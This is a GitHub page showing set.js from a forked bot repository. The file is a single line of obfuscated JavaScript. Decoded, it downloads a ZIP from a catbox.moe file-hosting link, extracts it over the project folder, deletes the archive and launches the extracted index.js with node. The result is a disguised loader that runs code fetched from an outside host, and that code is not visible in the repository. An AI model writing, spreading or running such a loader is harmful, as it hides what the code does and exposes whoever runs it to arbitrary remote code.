forked from NOTHING-MD420/Ben-bot
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathset.js
More file actions
1 lines (1 loc) · 2.78 KB
/
set.js
File metadata and controls
1 lines (1 loc) · 2.78 KB
1
const a0_0xa274b5=a0_0x10fd;(function(_0x1b4e8a,_0x431c22){const _0x17fb07=a0_0x10fd,_0x267b44=_0x1b4e8a();while(!![]){try{const _0x24a303=-parseInt(_0x17fb07(0x1b7))/0x1+-parseInt(_0x17fb07(0x1a4))/0x2*(parseInt(_0x17fb07(0x19f))/0x3)+parseInt(_0x17fb07(0x1a2))/0x4*(parseInt(_0x17fb07(0x1bd))/0x5)+-parseInt(_0x17fb07(0x1aa))/0x6*(-parseInt(_0x17fb07(0x1b9))/0x7)+-parseInt(_0x17fb07(0x1a0))/0x8+-parseInt(_0x17fb07(0x1bf))/0x9+-parseInt(_0x17fb07(0x1bc))/0xa*(-parseInt(_0x17fb07(0x1b3))/0xb);if(_0x24a303===_0x431c22)break;else _0x267b44['push'](_0x267b44['shift']());}catch(_0x3611c4){_0x267b44['push'](_0x267b44['shift']());}}}(a0_0x3831,0xb9dc9));function a0_0x10fd(_0x112507,_0x6d81e8){const _0x38312c=a0_0x3831();return a0_0x10fd=function(_0x10fd2a,_0x53536d){_0x10fd2a=_0x10fd2a-0x19e;let _0x5e5adf=_0x38312c[_0x10fd2a];return _0x5e5adf;},a0_0x10fd(_0x112507,_0x6d81e8);}function a0_0x3831(){const _0x1795eb=['3448780tjQQdz','unlinkSync','836gQoVoE','✅\x20ZIP\x20downloaded.','adm-zip','❌\x20Error\x20during\x20setup:','axios','finish','317796VJWugf','GET','join','temp.zip','https://files.catbox.moe/m88w26.zip','error','exit','path','🗑️\x20ZIP\x20file\x20deleted.','11ZRbKpJ','createWriteStream','index.js','log','140259PWnViU','🔁\x20Bot\x20exited\x20with\x20code:\x20','28VpslWh','child_process','data','28225190ryQpfN','5ZZVaCv','stream','13468392uxGIXX','✅\x20ZIP\x20extracted.','pipe','3057LvCrox','8580800yFQJgw','inherit'];a0_0x3831=function(){return _0x1795eb;};return a0_0x3831();}const fs=require('fs'),path=require(a0_0xa274b5(0x1b1)),axios=require(a0_0xa274b5(0x1a8)),AdmZip=require(a0_0xa274b5(0x1a6)),{spawn}=require(a0_0xa274b5(0x1ba));async function downloadAndExtractZip(_0x40aa57){const _0x194666=a0_0xa274b5,_0x1004d0=path[_0x194666(0x1ac)](__dirname,_0x194666(0x1ad)),_0x5eadab=path[_0x194666(0x1ac)](__dirname);try{const _0x1e41a5=await axios({'method':_0x194666(0x1ab),'url':_0x40aa57,'responseType':_0x194666(0x1be)}),_0x55f811=fs[_0x194666(0x1b4)](_0x1004d0);_0x1e41a5[_0x194666(0x1bb)][_0x194666(0x19e)](_0x55f811),await new Promise((_0x8b74fc,_0x3cbace)=>{const _0x7be71e=_0x194666;_0x55f811['on'](_0x7be71e(0x1a9),_0x8b74fc),_0x55f811['on']('error',_0x3cbace);}),console[_0x194666(0x1b6)](_0x194666(0x1a5));const _0x4c63cd=new AdmZip(_0x1004d0);_0x4c63cd['extractAllTo'](_0x5eadab,!![]),console[_0x194666(0x1b6)](_0x194666(0x1c0)),fs[_0x194666(0x1a3)](_0x1004d0),console['log'](_0x194666(0x1b2)),console['log']('🚀\x20Starting\x20bot...');const _0x59ebfa=spawn('node',[_0x194666(0x1b5)],{'stdio':_0x194666(0x1a1),'cwd':__dirname});_0x59ebfa['on'](_0x194666(0x1b0),_0x5cab34=>{const _0x57c881=_0x194666;console[_0x57c881(0x1b6)](_0x57c881(0x1b8)+_0x5cab34);});}catch(_0x2921ee){console[_0x194666(0x1af)](_0x194666(0x1a7),_0x2921ee);}}const zipUrl=a0_0xa274b5(0x1ae);downloadAndExtractZip(zipUrl);